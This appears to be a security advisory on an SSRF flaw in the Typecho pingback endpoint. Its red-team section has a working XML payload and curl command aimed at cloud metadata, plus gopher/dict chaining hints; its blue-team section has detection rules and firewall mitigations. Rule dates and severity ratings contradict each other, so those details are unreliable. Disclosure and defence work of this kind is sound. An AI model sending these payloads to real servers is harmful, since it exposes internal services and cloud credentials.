CVE-2026-7025

Executive Summary

CVE-2026-7025 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in the Typecho blogging platform, affecting all versions up to and including 1.3.0. The flaw resides in the Ping Back Service Endpoint, specifically within the Service::sendPingHandle function in var/Widget/Service.php. By manipulating the X-Pingback and link arguments, an unauthenticated remote attacker can force the server to make arbitrary HTTP requests to internal or external resources. This can lead to internal network reconnaissance, access to cloud metadata endpoints (e.g., AWS 169.254.169.254), or further exploitation of internal services. The vendor has been unresponsive, and no official patch exists, making this a high-priority unpatched vulnerability.

Supply Chain & Package Security

Typecho is a PHP-based open-source blogging platform distributed via GitHub and its official website. As a self-hosted application, there is no centralized package manager (like NPM or PyPI) involved. However, the risk is amplified by the lack of a vendor response, meaning all deployments are currently vulnerable. Users must rely on community-driven workarounds or manual code fixes.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., internal service banners).
• Integrity (I): Low (L) - Potential to modify internal state via SSRF.
• Availability (A): Low (L) - Potential to cause denial of service to internal resources.

Threat Level: High. The combination of remote exploitability, no authentication, and public exploit code makes this a significant threat. The SSRF can be chained with other vulnerabilities (e.g., cloud metadata attacks) to achieve privilege escalation.

Deep Dive & Mechanics

The vulnerability is triggered by sending a crafted HTTP request to the Typecho pingback endpoint. The Service::sendPingHandle function processes the X-Pingback header and the link parameter without proper validation. The function attempts to verify the pingback source by making a request to the URL provided in the link parameter. This request is made using PHP's file_get_contents() or similar functions, which follow redirects and can access internal IP ranges.

Attack Flow:

1. Attacker sends a POST request to /index.php/action/pingback with a crafted XML body.
2. The XML contains a <methodCall> with <methodName>pingback.ping</methodName>.
3. The <params> include the target blog post URL and the attacker-controlled link URL.
4. The Service::sendPingHandle function extracts the link URL and makes an HTTP request to it.
5. If the link points to an internal resource (e.g., http://169.254.169.254/latest/meta-data/), the server fetches and potentially returns the data.

Key Code Snippet (Vulnerable):

// var/Widget/Service.php (simplified)
public function sendPingHandle($url, $link) {
    $response = file_get_contents($link); // No validation on $link
    // ... process response
}

Vulnerable vs. Patched Code

Vulnerable Code (Typecho <= 1.3.0):

// var/Widget/Service.php
public function sendPingHandle($url, $link) {
    // No validation of $link
    $context = stream_context_create(array('http' => array('timeout' => 5)));
    $response = @file_get_contents($link, false, $context);
    if ($response === false) {
        return false;
    }
    // ... further processing
}

Patched Code (Hypothetical - No official patch):

// var/Widget/Service.php
public function sendPingHandle($url, $link) {
    // Validate the link is a valid external URL
    $parsedUrl = parse_url($link);
    if (!isset($parsedUrl['scheme']) || !in_array($parsedUrl['scheme'], ['http', 'https'])) {
        return false;
    }
    // Block private and reserved IP ranges
    $host = $parsedUrl['host'];
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return false;
        }
    } else {
        // Resolve DNS and check IP
        $ip = gethostbyname($host);
        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
            return false;
        }
    }
    // Proceed with safe request
    $context = stream_context_create(array('http' => array('timeout' => 5)));
    $response = @file_get_contents($link, false, $context);
    // ... further processing
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Typecho instance (<= 1.3.0) accessible over the network.
• A listener to capture outbound requests (e.g., nc -lvnp 4444).

Exploit Steps:

1. Identify the pingback endpoint: http://target.com/index.php/action/pingback
2. Craft a malicious XML payload:

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value>
        <string>http://target.com/valid-post</string>
      </value>
    </param>
    <param>
      <value>
        <string>http://169.254.169.254/latest/meta-data/</string>
      </value>
    </param>
  </params>
</methodCall>

3. Send the request using curl:

curl -X POST http://target.com/index.php/action/pingback \
  -H "Content-Type: text/xml" \
  -H "X-Pingback: http://target.com/valid-post" \
  -d @payload.xml

4. Observe the response. If successful, the server will return the contents of the internal resource (e.g., AWS metadata).

Advanced Exploitation:

• Use gopher:// or dict:// protocols to interact with internal services (e.g., Redis, Memcached).
• Chain with blind SSRF to scan internal ports using time-based techniques.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /index.php/action/pingback with unusual Content-Type headers.
• Log all outbound HTTP requests from the web server and alert on connections to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
• Deploy a Web Application Firewall (WAF) rule to block requests containing 169.254.169.254 or other cloud metadata IPs.

Mitigation (No Official Patch):

• Disable the pingback functionality by removing or renaming the var/Widget/Service.php file.
• Apply a virtual patch using a WAF to block SSRF patterns.
• Restrict outbound traffic from the web server using a firewall (e.g., iptables):

iptables -A OUTPUT -d 169.254.169.254 -j DROP
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /index.php/action/pingback with XML body containing pingback.ping.
  • Outbound HTTP requests to private IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x).
  • Requests containing X-Pingback header with internal IPs.

• File IOCs:

  • Modified var/Widget/Service.php (if attacker attempts to patch).
  • Suspicious log entries in var/log/ directory showing SSRF attempts.

• Behavioral IOCs:

  • Unexpected outbound connections from the web server to cloud metadata endpoints.
  • Increased latency or timeouts when accessing internal services.

Detection Engineering

YARA Rule

rule CVE_2026_7025_SSRF_Typecho {
    meta:
        description = "Detects SSRF exploitation attempts against Typecho CVE-2026-7025"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-7025"
    strings:
        $pingback_method = "pingback.ping"
        $xml_payload = "<methodCall>"
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    condition:
        $pingback_method and $xml_payload and $internal_ip
}

Sigma Rule

title: Typecho SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against Typecho CVE-2026-7025
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php/action/pingback'
        cs-content-type: 'text/xml'
    keywords:
        - 'pingback.ping'
        - '169.254.169.254'
        - '10.'
        - '172.16.'
        - '192.168.'
    condition: selection and keywords
falsepositives:
    - Legitimate pingback requests to external sites
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-7025 Typecho SSRF Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php/action/pingback"; http_uri;
    content:"text/xml"; http_content_type;
    content:"pingback.ping"; http_client_body;
    pcre:"/(169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/";
    sid:1000001;
    rev:1;
    reference:cve,2026-7025;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Pingback: Remove or rename var/Widget/Service.php to prevent the vulnerable function from being called.
2. Firewall Rules: Block outbound traffic to private IP ranges from the web server.
3. WAF Rules: Deploy virtual patching to block requests containing internal IPs in the link parameter.

Long-Term Fix:

• Monitor the Typecho GitHub repository for an official patch.
• Implement input validation and URL sanitization as shown in the patched code example.
• Consider migrating to a maintained fork or alternative blogging platform if the vendor remains unresponsive.

Verification:

• After applying mitigations, attempt the exploit to confirm it is blocked.
• Review web server logs for any previous exploitation attempts.

Valters IT

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